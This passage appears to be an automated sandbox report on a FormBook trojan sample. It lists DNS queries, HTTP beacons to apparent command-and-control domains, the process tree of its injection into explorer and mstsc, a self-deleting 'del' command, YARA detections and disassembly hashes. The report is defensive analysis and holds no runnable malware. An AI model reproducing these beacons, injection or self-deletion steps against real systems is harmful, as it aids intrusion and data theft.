Jan 26, 2021 19:16:31.169318914 CET	53	59794	8.8.8.8	192.168.2.4
Jan 26, 2021 19:16:32.605475903 CET	55916	53	192.168.2.4	8.8.8.8
Jan 26, 2021 19:16:32.665482044 CET	53	55916	8.8.8.8	192.168.2.4
Jan 26, 2021 19:16:43.212677002 CET	52752	53	192.168.2.4	8.8.8.8
Jan 26, 2021 19:16:43.263365030 CET	53	52752	8.8.8.8	192.168.2.4
Jan 26, 2021 19:17:11.886284113 CET	60542	53	192.168.2.4	8.8.8.8
Jan 26, 2021 19:17:11.937151909 CET	53	60542	8.8.8.8	192.168.2.4
Jan 26, 2021 19:17:20.125094891 CET	60689	53	192.168.2.4	8.8.8.8
Jan 26, 2021 19:17:20.197899103 CET	53	60689	8.8.8.8	192.168.2.4
Jan 26, 2021 19:17:20.284976959 CET	64206	53	192.168.2.4	8.8.8.8
Jan 26, 2021 19:17:20.334652901 CET	53	64206	8.8.8.8	192.168.2.4
Jan 26, 2021 19:17:33.544280052 CET	50904	53	192.168.2.4	8.8.8.8
Jan 26, 2021 19:17:33.613106966 CET	53	50904	8.8.8.8	192.168.2.4
Jan 26, 2021 19:17:46.438988924 CET	57525	53	192.168.2.4	8.8.8.8
Jan 26, 2021 19:17:46.487060070 CET	53	57525	8.8.8.8	192.168.2.4
Jan 26, 2021 19:17:53.906111956 CET	53814	53	192.168.2.4	8.8.8.8
Jan 26, 2021 19:17:53.976504087 CET	53	53814	8.8.8.8	192.168.2.4
Jan 26, 2021 19:17:55.874610901 CET	53418	53	192.168.2.4	8.8.8.8
Jan 26, 2021 19:17:55.935830116 CET	53	53418	8.8.8.8	192.168.2.4
Jan 26, 2021 19:18:02.336050034 CET	62833	53	192.168.2.4	8.8.8.8
Jan 26, 2021 19:18:02.385848999 CET	53	62833	8.8.8.8	192.168.2.4
Jan 26, 2021 19:18:16.327147961 CET	59260	53	192.168.2.4	8.8.8.8
Jan 26, 2021 19:18:16.391833067 CET	53	59260	8.8.8.8	192.168.2.4
Jan 26, 2021 19:18:29.608736992 CET	49944	53	192.168.2.4	8.8.8.8
Jan 26, 2021 19:18:29.656579971 CET	53	49944	8.8.8.8	192.168.2.4
Jan 26, 2021 19:18:36.704664946 CET	63300	53	192.168.2.4	8.8.8.8
Jan 26, 2021 19:18:36.765784025 CET	53	63300	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jan 26, 2021 19:17:20.125094891 CET	192.168.2.4	8.8.8.8	0x5a89	Standard query (0)	www.thesunchronical.com	A (IP address)	IN (0x0001)
Jan 26, 2021 19:17:33.544280052 CET	192.168.2.4	8.8.8.8	0x10be	Standard query (0)	www.serenityhomedits.com	A (IP address)	IN (0x0001)
Jan 26, 2021 19:17:55.874610901 CET	192.168.2.4	8.8.8.8	0x2879	Standard query (0)	www.g2vies.com	A (IP address)	IN (0x0001)
Jan 26, 2021 19:18:16.327147961 CET	192.168.2.4	8.8.8.8	0x706c	Standard query (0)	www.edu4go.com	A (IP address)	IN (0x0001)
Jan 26, 2021 19:18:36.704664946 CET	192.168.2.4	8.8.8.8	0xd061	Standard query (0)	www.infomgt.net	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jan 26, 2021 19:17:20.197899103 CET	8.8.8.8	192.168.2.4	0x5a89	Name error (3)	www.thesunchronical.com	none	none	A (IP address)	IN (0x0001)
Jan 26, 2021 19:17:33.613106966 CET	8.8.8.8	192.168.2.4	0x10be	Name error (3)	www.serenityhomedits.com	none	none	A (IP address)	IN (0x0001)
Jan 26, 2021 19:17:55.935830116 CET	8.8.8.8	192.168.2.4	0x2879	No error (0)	www.g2vies.com	g2vies.com		CNAME (Canonical name)	IN (0x0001)
Jan 26, 2021 19:17:55.935830116 CET	8.8.8.8	192.168.2.4	0x2879	No error (0)	g2vies.com		34.102.136.180	A (IP address)	IN (0x0001)
Jan 26, 2021 19:18:16.391833067 CET	8.8.8.8	192.168.2.4	0x706c	No error (0)	www.edu4go.com	edu4go.com		CNAME (Canonical name)	IN (0x0001)
Jan 26, 2021 19:18:16.391833067 CET	8.8.8.8	192.168.2.4	0x706c	No error (0)	edu4go.com		34.102.136.180	A (IP address)	IN (0x0001)
Jan 26, 2021 19:18:36.765784025 CET	8.8.8.8	192.168.2.4	0xd061	No error (0)	www.infomgt.net		188.166.214.231	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

www.g2vies.com

www.edu4go.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49775	34.102.136.180	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 26, 2021 19:17:55.980583906 CET	5680	OUT	GET /bsl/?2d=hxlpdRkxCvtTgBzP&mt=B72SzM4OK6YheLE+tS6SAH+1fBRAvDBThfWED1RPUqC7thw4cowf+3ukjA/mpLG53kNi HTTP/1.1 Host: www.g2vies.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jan 26, 2021 19:17:56.119247913 CET	5681	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Tue, 26 Jan 2021 18:17:56 GMT Content-Type: text/html Content-Length: 275 ETag: "600b4d46-113" Via: 1.1 google Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"> <title>Forbidden</title></head><body><h1>Access Forbidden</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49777	34.102.136.180	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 26, 2021 19:18:16.435353041 CET	5713	OUT	GET /bsl/?mt=meRO04KZ+tRueejEQ1mKApUC+xiZQAGZPTeO6WstMPZoEBgumINoRWRpGBFK3WkMjtLu&2d=hxlpdRkxCvtTgBzP HTTP/1.1 Host: www.edu4go.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jan 26, 2021 19:18:16.574495077 CET	5714	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Tue, 26 Jan 2021 18:18:16 GMT Content-Type: text/html Content-Length: 275 ETag: "600b4d54-113" Via: 1.1 google Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"> <title>Forbidden</title></head><body><h1>Access Forbidden</h1></body></html>

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: SecuriteInfo.com.Trojan.Packed2.42783.14936.exe PID: 5980 Parent PID: 5864

General

Start time:	19:15:30
Start date:	26/01/2021
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe'
Imagebase:	0x10000
File size:	775168 bytes
MD5 hash:	25FCC01067CABBF5D1AA3A2F8B18ED50
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000000.00000002.686008623.0000000003DFA000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000000.00000002.686008623.0000000003DFA000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000000.00000002.686008623.0000000003DFA000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000000.00000002.686170457.0000000003F66000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000000.00000002.686170457.0000000003F66000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000000.00000002.686170457.0000000003F66000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Chronological Activities

Analysis Process: AddInProcess32.exe PID: 6476 Parent PID: 5980

General

Start time:	19:15:36
Start date:	26/01/2021
Path:	C:\Users\user\AppData\Local\Temp\AddInProcess32.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\AddInProcess32.exe
Imagebase:	0x710000
File size:	42080 bytes
MD5 hash:	F2A47587431C466535F3C3D3427724BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000001.00000002.721240186.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000001.00000002.721240186.0000000000400000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000001.00000002.721240186.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000001.00000002.721927497.0000000001090000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000001.00000002.721927497.0000000001090000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000001.00000002.721927497.0000000001090000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000001.00000002.722073173.00000000010C0000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000001.00000002.722073173.00000000010C0000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000001.00000002.722073173.00000000010C0000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Antivirus matches:	Detection: 0%, Metadefender, Browse Detection: 0%, ReversingLabs
Reputation:	moderate

Chronological Activities

Analysis Process: explorer.exe PID: 3424 Parent PID: 6476

General

Start time:	19:15:41
Start date:	26/01/2021
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:
Imagebase:	0x7ff6fee60000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: mstsc.exe PID: 3476 Parent PID: 3424

General

Start time:	19:15:54
Start date:	26/01/2021
Path:	C:\Windows\SysWOW64\mstsc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\mstsc.exe
Imagebase:	0xab0000
File size:	3444224 bytes
MD5 hash:	2412003BE253A515C620CE4890F3D8F3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000002.1028284186.0000000000A30000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000002.1028284186.0000000000A30000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000002.1028284186.0000000000A30000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000002.1027686906.00000000008F0000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000002.1027686906.00000000008F0000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000002.1027686906.00000000008F0000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000002.1025912109.0000000000140000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000002.1025912109.0000000000140000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000002.1025912109.0000000000140000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	moderate

Chronological Activities

Analysis Process: WerFault.exe PID: 7108 Parent PID: 3424

General

Start time:	19:15:56
Start date:	26/01/2021
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 3424 -s 8832
Imagebase:	0x7ff708910000
File size:	494488 bytes
MD5 hash:	2AFFE478D86272288BBEF5A00BBEF6A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: cmd.exe PID: 5992 Parent PID: 3476

General

Start time:	19:15:59
Start date:	26/01/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/c del 'C:\Users\user\AppData\Local\Temp\AddInProcess32.exe'
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 7116 Parent PID: 5992

General

Start time:	19:16:00
Start date:	26/01/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: explorer.exe PID: 2896 Parent PID: 576

General

Start time:	19:16:12
Start date:	26/01/2021
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	explorer.exe
Imagebase:	0x7ff6fee60000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: SearchUI.exe PID: 960 Parent PID: 800

General

Start time:	19:16:31
Start date:	26/01/2021
Path:	C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe' -ServerName:CortanaUI.AppXa50dqqa5gqv4a428c9y1jjw7m3btvepj.mca
Imagebase:	0x7ff676950000
File size:	13606304 bytes
MD5 hash:	C4A9ACE9CDB9E5DB7CBA996CFA9EA7A2
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: SearchUI.exe PID: 6652 Parent PID: 800

General

Start time:	19:17:39
Start date:	26/01/2021
Path:	C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe' -ServerName:CortanaUI.AppXa50dqqa5gqv4a428c9y1jjw7m3btvepj.mca
Imagebase:	0x7ff676950000
File size:	13606304 bytes
MD5 hash:	C4A9ACE9CDB9E5DB7CBA996CFA9EA7A2
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: SecuriteInfo.com.Trojan.Packed2.42783.14936.exe PID: 5980 Parent PID: 5864 SecuriteInfo.com.Trojan.Packed2.42783.14936.exeCOMMON

Executed Functions

Function 08813F40, Relevance: 6.0, Strings: 4, Instructions: 969COMMON

Download Yara Rule

Strings

ntin, xrefs: 0881446C
ntin, xrefs: 0881499F
<, xrefs: 0881415A
(, xrefs: 088145C6

Memory Dump Source

Source File: 00000000.00000002.687384148.0000000008810000.00000040.00000001.sdmp, Offset: 08810000, based on PE: false

Similarity

API ID:
String ID: ($<$ntin$ntin
API String ID: 0-2884023141
Opcode ID: e682c69be19011cf2bab20a29b795747ef8ec8807e8b5ed8651bbdf91c854db6
Instruction ID: 614674362f7051e917413b5a02e7b8d4da9bc2d612a6e798b1a459afc575615c
Opcode Fuzzy Hash: e682c69be19011cf2bab20a29b795747ef8ec8807e8b5ed8651bbdf91c854db6
Instruction Fuzzy Hash: 7CA2E274E042198FDB14CF99C981ADDFBF6BF89304F258199D908AB255DB30AE81CF64

Uniqueness

Uniqueness Score: -1.00%

Function 04AB0788, Relevance: 4.7, Strings: 3, Instructions: 974COMMON

Download Yara Rule

Strings

(, xrefs: 04AB0E0E
<, xrefs: 04AB09A4
ntin, xrefs: 04AB11E7

Memory Dump Source

Source File: 00000000.00000002.686691195.0000000004AB0000.00000040.00000001.sdmp, Offset: 04AB0000, based on PE: false

Similarity

API ID:
String ID: ($<$ntin
API String ID: 0-2777557274
Opcode ID: 5fe41826fb241dc2de0a5affcb5e59ecc60dc52c8acea62c1adb6a4b7b30f447
Instruction ID: c44866e9733b3a089ed98458a93f5a35e362582bc8a4b1d42fb704c9f8bdb268
Opcode Fuzzy Hash: 5fe41826fb241dc2de0a5affcb5e59ecc60dc52c8acea62c1adb6a4b7b30f447
Instruction Fuzzy Hash: C5A2D374E042198FDB54CF99C981ADDBBF6BF89300F25C1A9D548AB256D730AD81CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00966750, Relevance: 4.7, Strings: 3, Instructions: 930COMMON

Download Yara Rule

Strings

D0.l, xrefs: 00966C31
D0.l, xrefs: 00966BA4
D0.l, xrefs: 00966D31

Memory Dump Source

Source File: 00000000.00000002.683227705.0000000000960000.00000040.00000001.sdmp, Offset: 00960000, based on PE: false

Similarity

API ID:
String ID: D0.l$D0.l$D0.l
API String ID: 0-3472312390
Opcode ID: bb5e7bcf0d2025d8949239ff1b735662920fcf490df4a5792d5d206fc93a6e8d
Instruction ID: d2635b08ea1526fe29f7a00ec65c6d883e09a9a3ecb62fc1124527398414c5d4
Opcode Fuzzy Hash: bb5e7bcf0d2025d8949239ff1b735662920fcf490df4a5792d5d206fc93a6e8d
Instruction Fuzzy Hash: 29828F70A042199FCB14DFA9C894AAEBBF6FF89304F158469E815EB361DB34DD41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00962590, Relevance: 4.1, Strings: 3, Instructions: 327COMMON

Download Yara Rule

Strings

\)l, xrefs: 00962676
\)l, xrefs: 00962680
D0.l, xrefs: 009629E8

Memory Dump Source

Source File: 00000000.00000002.683227705.0000000000960000.00000040.00000001.sdmp, Offset: 00960000, based on PE: false

Similarity

API ID:
String ID: D0.l$\)l$\)l
API String ID: 0-3737208951
Opcode ID: 179b3f1729bf645f84e18e3af70cf8290255fdae6d0ec1a1abc6849382860866
Instruction ID: 6818f277f82d5440aa0d5dc3841b122cfc9217303ed7c4acbcd7746896fd85f2
Opcode Fuzzy Hash: 179b3f1729bf645f84e18e3af70cf8290255fdae6d0ec1a1abc6849382860866
Instruction Fuzzy Hash: EFB1DC34708A06CBDB282F258A5533EB666AFC4751F58982ED883C6794CF34CC41DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 08813F3F, Relevance: 4.0, Strings: 3, Instructions: 299COMMON

Download Yara Rule

Strings

ntin, xrefs: 0881446C
ntin, xrefs: 08814241
<, xrefs: 0881415A

Memory Dump Source

Source File: 00000000.00000002.687384148.0000000008810000.00000040.00000001.sdmp, Offset: 08810000, based on PE: false

Similarity

API ID:
String ID: <$ntin$ntin
API String ID: 0-1029651476
Opcode ID: 65cbbe3c03e4fa79395b2e01f916d84a3e99b739c778b451ecbeffea801dddfb
Instruction ID: 605ebaa4449a46d1c5f6eaf1ec8d79ad53d6f6d35f527506cd0a365bf2dc141f
Opcode Fuzzy Hash: 65cbbe3c03e4fa79395b2e01f916d84a3e99b739c778b451ecbeffea801dddfb
Instruction Fuzzy Hash: EBD184B5E006198FDB58CFAAC9816DEFBF6BF88300F14C1A9D508AB264DB345A41CF55

Uniqueness

Uniqueness Score: -1.00%

Function 08810040, Relevance: 3.1, Strings: 2, Instructions: 645COMMON

Download Yara Rule

Strings

@, xrefs: 08810945
<, xrefs: 08810165

Memory Dump Source

Source File: 00000000.00000002.687384148.0000000008810000.00000040.00000001.sdmp, Offset: 08810000, based on PE: false

Similarity

API ID:
String ID: <$@
API String ID: 0-1426351568
Opcode ID: 0c959f7f72d29776b05ed51f3f9547c7e6973117057f07186d6fa0d717a4afe4
Instruction ID: e6d33ee5b159162b97aa1be7bb97447a80103b864d7bc2a1fd20e42ea1e2a918
Opcode Fuzzy Hash: 0c959f7f72d29776b05ed51f3f9547c7e6973117057f07186d6fa0d717a4afe4
Instruction Fuzzy Hash: 5762AF74D0161ACFEB64CFA9C980A9DFBF2BF89305F15C1A9D508AB611D730A981CF64

Uniqueness

Uniqueness Score: -1.00%

Function 04AB1F98, Relevance: 3.0, Strings: 2, Instructions: 459COMMON

Download Yara Rule

Strings

x)l, xrefs: 04AB2560
x)l, xrefs: 04AB269E

Memory Dump Source

Source File: 00000000.00000002.686691195.0000000004AB0000.00000040.00000001.sdmp, Offset: 04AB0000, based on PE: false

Similarity

API ID:
String ID: x)l$x)l
API String ID: 0-893205768
Opcode ID: 8fc14a168006509ed4e0ded0d592452021f9a51260b73ecd0f34fc9848b86ecb
Instruction ID: e0f65ee9b5f2b71d254b629fab15a5e37defd2b3107509e1660b71d7006cb9ea
Opcode Fuzzy Hash: 8fc14a168006509ed4e0ded0d592452021f9a51260b73ecd0f34fc9848b86ecb
Instruction Fuzzy Hash: 4F22DF74D01228CFDB29DF65D8587ECBBB2BF49301F1084AAE459AB395DB359A81CF10

Uniqueness

Uniqueness Score: -1.00%

Function 0881003F, Relevance: 2.9, Strings: 2, Instructions: 438COMMON

Download Yara Rule

Strings

@, xrefs: 08810945
<, xrefs: 08810165

Memory Dump Source

Source File: 00000000.00000002.687384148.0000000008810000.00000040.00000001.sdmp, Offset: 08810000, based on PE: false

Similarity

API ID:
String ID: <$@
API String ID: 0-1426351568
Opcode ID: 048240fcae2ffceb8e02ed404a7a07b10b91b20401e39da2cae098be782259ef
Instruction ID: aaf70a81cf78cea8f11823719d1814349408815acd930150647e578fb8275bfc
Opcode Fuzzy Hash: 048240fcae2ffceb8e02ed404a7a07b10b91b20401e39da2cae098be782259ef
Instruction Fuzzy Hash: E922C47090161ACFEB64CF99C984A89FBF2BF89705F15C1E9D508ABA11DB309D80CF64

Uniqueness

Uniqueness Score: -1.00%

Function 04AB0778, Relevance: 2.8, Strings: 2, Instructions: 311COMMON

Download Yara Rule

Strings

<, xrefs: 04AB09A4
ntin, xrefs: 04AB0A8B

Memory Dump Source

Source File: 00000000.00000002.686691195.0000000004AB0000.00000040.00000001.sdmp, Offset: 04AB0000, based on PE: false

Similarity

API ID:
String ID: <$ntin
API String ID: 0-1611609020
Opcode ID: c7dc0c67053ee1e0fb5aa0d670b0ded7eae1bd965ca478ab6dfe9f84a0af789d
Instruction ID: 10d8b72d80eceed786c84814187081a7d6634cbdf24a74e4fc4e37f117f5e23d
Opcode Fuzzy Hash: c7dc0c67053ee1e0fb5aa0d670b0ded7eae1bd965ca478ab6dfe9f84a0af789d
Instruction Fuzzy Hash: 1BE1A4B5E046198FDB58CFAAC981ADEFBF2BF89300F14C1A9D518AB365DB3059418F50

Uniqueness

Uniqueness Score: -1.00%

Function 08816149, Relevance: 1.8, Strings: 1, Instructions: 512COMMON

Download Yara Rule

Strings

x)l, xrefs: 08816174

Memory Dump Source

Source File: 00000000.00000002.687384148.0000000008810000.00000040.00000001.sdmp, Offset: 08810000, based on PE: false

Similarity

API ID:
String ID: x)l
API String ID: 0-1961033494
Opcode ID: 7a6efd52b82d0628b7e8e85685da8147d1bb4b959a5bb20ee97018f3c09fb9e8
Instruction ID: d63af28db454304bf2a589d94964c5b90f3912930b8fe69f8c783d8b6717adeb
Opcode Fuzzy Hash: 7a6efd52b82d0628b7e8e85685da8147d1bb4b959a5bb20ee97018f3c09fb9e8
Instruction Fuzzy Hash: CD32F074E012288FDB54DFA9C984BDDBBF6AF88301F1081AAD449A7351EB349E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 08814EF4, Relevance: 1.8, APIs: 1, Instructions: 253processCOMMON

Download Yara Rule

APIs

CreateProcessAsUserW.KERNEL32(?,00000000,00000000,00000000,00000000,?,?,0881726D,?,?,?), ref: 088174D4

Memory Dump Source

Source File: 00000000.00000002.687384148.0000000008810000.00000040.00000001.sdmp, Offset: 08810000, based on PE: false

Similarity

API ID: CreateProcessUser
String ID:
API String ID: 2217836671-0
Opcode ID: b23a55447049ebd3d5d446654e6a3f1a1ed6477c6bd69ff7e452a8ad7d16748c
Instruction ID: 34bf4e3cb3d28da5acf98c5851ef7b4988324b6d0127130760e2f4699000f384
Opcode Fuzzy Hash: b23a55447049ebd3d5d446654e6a3f1a1ed6477c6bd69ff7e452a8ad7d16748c
Instruction Fuzzy Hash: 1391D1B5D0422D9FCF21CFA5C880BDDBBB5BB19304F0590AAE549B7210DB70AA85CF94

Uniqueness

Uniqueness Score: -1.00%

Function 08813810, Relevance: 1.7, Strings: 1, Instructions: 482COMMON

Download Yara Rule

Strings

jN, xrefs: 088138E6

Memory Dump Source

Source File: 00000000.00000002.687384148.0000000008810000.00000040.00000001.sdmp, Offset: 08810000, based on PE: false

Similarity

API ID:
String ID: jN
API String ID: 0-1675516797
Opcode ID: ce142049c519e00924c861e5f04da71f8fee10d68887850ff1cbcaf671641f1c
Instruction ID: 8ec6943e517133e2f527e923d1cc855acd5c24009cabdaebe69762b6776b9cda
Opcode Fuzzy Hash: ce142049c519e00924c861e5f04da71f8fee10d68887850ff1cbcaf671641f1c
Instruction Fuzzy Hash: A532E370A0021ACFEB54CF99C980A8EFBB6BF89715F15C199C508AB611CB34DD85CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 08813801, Relevance: 1.4, Strings: 1, Instructions: 124COMMON

Download Yara Rule

Strings

jN, xrefs: 088138E6

Memory Dump Source

Source File: 00000000.00000002.687384148.0000000008810000.00000040.00000001.sdmp, Offset: 08810000, based on PE: false

Similarity

API ID:
String ID: jN
API String ID: 0-1675516797
Opcode ID: 0b39196b2fd875ae3a98b148fe9b8d1028a6d0b58455e655e639265b368f5bdb
Instruction ID: a5acfc219d0e62d59f29e63bd2a16a7c00605da90cde6c2e294a75b3667c4c7c
